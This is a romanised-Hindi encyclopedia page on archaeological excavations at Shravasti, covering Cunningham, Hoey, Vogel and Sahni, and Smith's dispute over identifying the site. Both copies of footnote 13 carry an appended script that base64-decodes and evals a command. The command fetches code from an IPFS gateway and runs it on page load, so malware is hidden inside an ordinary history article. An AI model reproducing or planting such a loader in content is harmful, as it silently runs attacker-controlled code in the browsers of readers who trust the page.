श्रावस्ती में उत्खनन कार्य

	shravasti mean utkhanan kary
	prachin jain mandir ke avashesh, shravasti\|200px\|center
vivaran	shravasti uttar pradesh ke prasiddh aitihasik paryatan sthaloan mean se ek hai. bauddh evan jain tirth sthanoan ke lie shravasti prasiddh hai. yahaan ke utkhanan se puratattv mahattv ki kee vastuean mili haian.
zila	shravasti
nirman kal	prachin kal se hi ramayan, mahabharat tatha jain, bauddh sahity adi mean anek ullekh.
marg sthiti	shravasti balaramapur se 17 ki.mi., lakhanoo se 176 ki.mi., kanapur se 249 ki.mi., ilahabad se 262 ki.mi., dilli se 562 ki.mi. ki doori par hai.
prasiddhi	puravashesh, aitihasik evan pauranik sthal.
kab jaean	aktoobar se march
kaise pahuanchean	havaee jahaz, rel, bas adi se pahuancha ja sakata hai.
havaee adda	lakhanoo havaee adda
relave steshan	balaramapur relave steshan
bas adda	mega tarminas goanda, shravasti shahar se 50 ki.mi. ki doori par hai
sanbandhit lekh	jetavan, shobhanath mandir, moolagandh kuti vihar, kaushal mahajanapad adi. ;

shravasti vishay soochi

shravasti parichay sthiti namakaran vikas mahakavyoan tatha puranoan mean varnan jatakoan mean varnan bauddh sahity mean ullekh jain granthoan mean ullekh fahyan ka varnan hven tsaang ka varnan utkhanan kary sahet ka utkhanan mahet ka utkhanan

shravasti ke pragaitihasik kal ka koee praman nahian mila hai. shivalik parvat shrrikhala ki taraee mean sthit yah kshetr sadhan van v oshadhiyoan vanaspatiyo se achchhadit tha. shisham ke komal pattoan kachanar ke raktabh pushp v semal ke lal prasoon ki basanti abha se apoorit yah vanakhand prakratik shobha se paripoorn rahata tha. yah bhoomi pahadi naloan ke jalapravah ki kal-kal dhvani v panchhiyoan ke kalarav se ninadit vany-praniyoan ki utam sharan sthali rahi hai. adim manav in suramy jangaloan mean purnatah prakratik roop se jivan-yapan karata tha. sabhyata ke vikas ke kram mean is kshetr mean manavi samaj vikasit hua. adim sanskriti uttarottar kramashah ary sanskriti mean parivardhit hoti gayi.

utkhanan kary

shravasti ke prachin itihas ko prakash mean lane ke lie pratham prayas janaral kaniangham ne kiya. unhoanne san 1863 mean utkhanan praranbh karake lagabhag ek varsh ke kary mean jetavan ka tho da bhag saf karaya. isamean unako ek bodhisatv ki 7 phut 4 ianch ooanchi pratima prapt huee, jis par aankit lekh se isaka shravasti vihar mean sthapit hona jnat hota hai. yah moorti bhikshubal dvara kosanbakutti ke vihar mean sthapit ki gee thi. is pratima ke adhishthan par aankit lekh mean tithi nasht ho gee hai, parantu lipishastr ke adhar par yah lekh kushan-kal ka pratit hota hai.^[1] kaniangham ne is adhar par 'sahet ke kshetr ko jetavan' aur 'mahet ke kshetr ko shravasti' se samikrit kiya tha.^[2] [[chitr:Jetavana-Vihara-Sravasti.jpg|jetavan vihar ke avashesh, shravasti|left|250px|thumb]] kaniangham ke anukaran par dablyoo. si. benet ne pakki kuti tile ki kuchh khudaee karavaee thi.^[3] chini yatriyoan ke yatra vivaranoan ke adhar par is tile ka samikaran kaniangham ne 'aangulimal stoop'^[4] se kiya tha. san 1876 ee. mean kaniangham ne in sthanoan ki khudaee pun: aranbh karavaee, jisamean 16 imaratoan ki nivean prakash mean aeean. inamean adhikaansh stoop aur paravarti kal ke mandir the.^[5] is bar unako yahaan se sikke aur mrinmoortiyaan bhi milian. utkhanan se yah nishchit hua ki jis sthan par bodhisatv ki vishal moorti mili thi, vahaan koshanb-kutti namak vihar tha. usi ke uttar mean gandhakuti athava mukhy vihar tha.

dablyoo. 'hovi' dvara utkhanan

kaniangham ke sahet mean utkhanan ke samay (1875-76) dablyoo. hovi ne mahet mean khudaee ki. isamean unhean mahet ke pashchim mean sthit shobhanath jain mandir ke khandaharoan mean kuchh moortiyaan mili.^[6] shri hovi ne is kshetr ka gahan anveshan 15 disambar 1884 se 15 mee 1885 tak kiya tatha ise kshetr mean b di sankhya mean smarakoan ka pata lagaya. apani riport mean^[7] hovi ne kuchh smarakoan ka samikaran chini yatriyoan dvara varnit smarakoan se karane ka prayas kiya, panratu adhikaansh smarakoan ke vishay mean praryapt praman ka abhav hai. hovi dvara utkhanit vastuoan mean kuchh nimnalikhit haian^[8]-

sanvath 1176 (1119 ee.) ka ek shilalekh.^[9]
guptalipi mean abhilikhit ek lal rang ka balue patthar ka tuk da.
jain tirthankaroan ki moortiyoan par aankit do abhilekhoan ke chh: tuk de.
ek prachin davat.
ek agnimukh nag ki kaanse ki pratima
kachchi mitti ki das muharean. ye sabhi bauddh dharm sanbandhit haian.
kachchi mitti ki 500 muharean.
karneki (sanbhavat: kanishk) ki ek taanbe ki mudra.

thumb|250px|left|jetavan, shravasti

je.pi.ech. phogal tatha dayaram sahani ka utkhanan

hovi ke utkhanan ke 23 varsh uparaant pharavari-aprail 1908 ee. mean je.pi.ech. phogal tatha dayaram sahani ne utkhanan kiya. phogal ne mahet ke prachir ki divaroan aur usake pravesh-dvaroan ki khoj ki tatha usake vistar ko niroopit kiya. mahet ke pramukh tiloan mean unhoanne pakki kuti, kachchi kuti aur shobhanath mandir ki khoj ki. kachchi kuti mean vishesh roop se mitti ki moortiyaan, khilaune adi mile, jinaka kalatmak evan aitihasik donoan mahatv hai. shobhanath mandir se anek jain moortiyaan bhi prapt hueean. sahet ke kshetr se bhi anek viharoan, stoopoan aur mandiroan ki rooparekha spasht ki gee aur buddh tatha bodhisatv ki moortiyaan, sikke, mrinmoortiyaan v muharean nikali geean.^[10] in vastuoan mean sabase mahattvapoorn kannauj ke raja govidachandr ka ek danapatr hai. isi lekh ke adhar par vidvanoan ne sahet ko jetavan se aur mahet ko shravasti se samikrit kiya hai.

san 1910-1911 ee. mean vikhyat puratattvavetta sar jan marshal ki adhyakshata mean dayaram sahani ne is kshetr ki pun: khudaee ki. inaka mukhy karyasthal jetavan tila tha. us utkhanan mean kuchh abhilekh, moortiyaan, b di matra mean mudraean tatha lekhayukt muharean, saanche, mrinmoortiyaan, mrinbhaand aur eeantean adi mili haian.^[11] yadyapi kaniangham aur hovi ke utkhananoan mean mahet aur shravasti ke samikaran mean koee sandeh nahian rah jata phir bhi vianseant smith ne 1898 mean ek lekh prakashit karake kaniangham ke is samikaran par apatti prastut ki.^[12] smith ke tark ka anuman chini yatriyoan ke yatra-vivaranoan par adharit tha. unhoanne shravasti ko nepal ki taraee mean balapur, kamadi aur iantava gaanvoan ke madhy mean sthit batalaya hai.^[13]

smith ka paravarti lekh

smith ne apane ek paravarti lekh mean bodhisatv ke prapti-sthan ke sandarbh mean apatti ki jis par kaniangham ka siddhaant adharit tha. smith ka yah anuman tarkasangat nahian pratit hota, kyoanki paryapt sahityik aur puratattvik pramanoan ne shravasti ka sahet-mahet se samikaran pramanit kar diya hai. adhik sanbhav hai ki smith dvara anveshit balapur ke bhagnavashesh setavy ke hoan. sahityak pramanoan se bhi is bat ki pushti hoti hai. pali sahity^[14] mean setavy ko shravasti aur rajagrih ke marg ke bich mean sthit kaha gaya hai. is prakar setavy, sanbhavat: shravasti aur kapilavastu ke bich kahian sthit rahi hogi. at: smith ka yah kathan ki setavya hi shravasti thi, uchit nahian pratit hota.

left|30px|link=hven tsaang dvara shravasti ka varnan|pichhe jaean

hven tsaang dvara shravasti ka varnan

shravasti mean utkhanan kary

sahet ka utkhanan

right|30px|link=sahet ka utkhanan|age jaean

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

tika tippani aur sandarbh

↑ ullekhaniy hai ki isi prakar ki bodhisattv ki ek aur lekhayukt pratima saranath se mili hai, jo isi bhikshu bal dvara kanishk ke rajyakal ke tritiy varsh mean sthapit ki gee thi. at: yah pratima praranbhik kushanakal ki pratit hoti hai. blak, jarnal aauf d r aauyal eshiyatik sosayati aauf bangal, bhag 67 (1898), plet 1, prishth 274 aur age (plet ke sath). epigraphiya iandika, bhag 8 (1905-06), prishth 179 aur age (plet ke sath).
↑ e. kaniangham, arkiyolajikal sarve ripotars bhag 1, prishth 377 aur age.
↑ benet ke utkhanan ke lie drashtavy, gajetiyaraauf di praviansaauf avadh (ilahabad, 1878), prishth 286
↑ poorvavarti lekhak ise aangulimaliy stoop kahate haian, jabaki isaka sahi prakrit roop aangulimal hona chahie. jatak, (phausabol sanskaran), bhag 5, prishth 466
↑ e. kaniangham, arkiyolajikal sarve ripotars, bhag 11, prishth 78
↑ arkiyolajikal sarve aauf iandiya, (varshik riport), 1907-08, prishth 83
↑ jarnal aauf eshiyatik sosayati aauf bangal (1892), plet 1, atirikt sankhya (bhag 61
↑ arkiyolajikal sarveaauf iandiya, (varshik riport), 1907-8, prishth 131-132
↑ is shilalekh par 18 panktiyoan mean devanagari lipi evan sanskrit bhasha mean ek lekh khuda hua hai. lekh bhagavan buddh ki vandana se praanrabh hota hai, jise chho dakar shesh sanpoorn lekh chhandoan mean haian.
↑ vistar ke lie drashtavy, arkiyolajikal sarveaauf iandiya (enual riport), 1907-08, prishth 117
↑ memayars aauf di arkiyolajikal sarve aauf iandiya, sankhya 50, prishth 3
↑ vi.e. smith, kaushaanbi eand shravasti, jarnal aph di rayal eshiyatik sosaiti (1898) prishth 527
↑ sianh, d aau. ashok kumar uttar pradesh ke prachinatam nagar (hindi). bharatadiskavari pustakalay: vani prakashan, nee dilli, 98-124.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
↑ suttanipat (saranath sanskaran), prishth 212-13; ji.pi. malalasekar, dikshanari aph pali prapar nems, bhag do, (landan 1960), prishth 1126

aitihasik sthanavali | vijayendr kumar mathur | vaijnanik tatha takaniki shabdavali ayog | manav sansadhan vikas mantralay, bharat sarakar

bahari k diyaan

sanbandhit lekh

varnamala kramanusar lekh khoj

a a i ee u oo e ai o au aan k kh g gh n ch chh j jh n t th d dh n t th d dh n p ph b bh m y r l v sh sh s h ksh tr jn rri rri aau shr aah

[1] ullekhaniy hai ki isi prakar ki bodhisattv ki ek aur lekhayukt pratima saranath se mili hai, jo isi bhikshu bal dvara kanishk ke rajyakal ke tritiy varsh mean sthapit ki gee thi. at: yah pratima praranbhik kushanakal ki pratit hoti hai. blak, jarnal aauf d r aauyal eshiyatik sosayati aauf bangal, bhag 67 (1898), plet 1, prishth 274 aur age (plet ke sath). epigraphiya iandika, bhag 8 (1905-06), prishth 179 aur age (plet ke sath).

[2] . kaniangham, arkiyolajikal sarve ripotars bhag 1, prishth 377 aur age.

[3] t ke utkhanan ke lie drashtavy, gajetiyaraauf di praviansaauf avadh (ilahabad, 1878), prishth 286

[4] rvavarti lekhak ise aangulimaliy stoop kahate haian, jabaki isaka sahi prakrit roop aangulimal hona chahie. jatak, (phausabol sanskaran), bhag 5, prishth 466

[5] . kaniangham, arkiyolajikal sarve ripotars, bhag 11, prishth 78

[6] rkiyolajikal sarve aauf iandiya, (varshik riport), 1907-08, prishth 83

[7] rnal aauf eshiyatik sosayati aauf bangal (1892), plet 1, atirikt sankhya (bhag 61

[8] rkiyolajikal sarveaauf iandiya, (varshik riport), 1907-8, prishth 131-132

[9] s shilalekh par 18 panktiyoan mean devanagari lipi evan sanskrit bhasha mean ek lekh khuda hua hai. lekh bhagavan buddh ki vandana se praanrabh hota hai, jise chho dakar shesh sanpoorn lekh chhandoan mean haian.

[10] vistar ke lie drashtavy, arkiyolajikal sarveaauf iandiya (enual riport), 1907-08, prishth 117

[11] yars aauf di arkiyolajikal sarve aauf iandiya, sankhya 50, prishth 3

[12] vi.e. smith, kaushaanbi eand shravasti, jarnal aph di rayal eshiyatik sosaiti (1898) prishth 527

[.E0.A4.89.E0.A4.A4.E0.A5.8D.E0.A4.A4.E0.A4.B0_.E0.A4.AA.E0.A5.8D.E0.A4.B0.E0.A4.A6.E0.A5.87.E0.A4.B6-13] sianh, d aau. ashok kumar uttar pradesh ke prachinatam nagar (hindi). bharatadiskavari pustakalay: vani prakashan, nee dilli, 98-124.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

[14] suttanipat (saranath sanskaran), prishth 212-13; ji.pi. malalasekar, dikshanari aph pali prapar nems, bhag do, (landan 1960), prishth 1126

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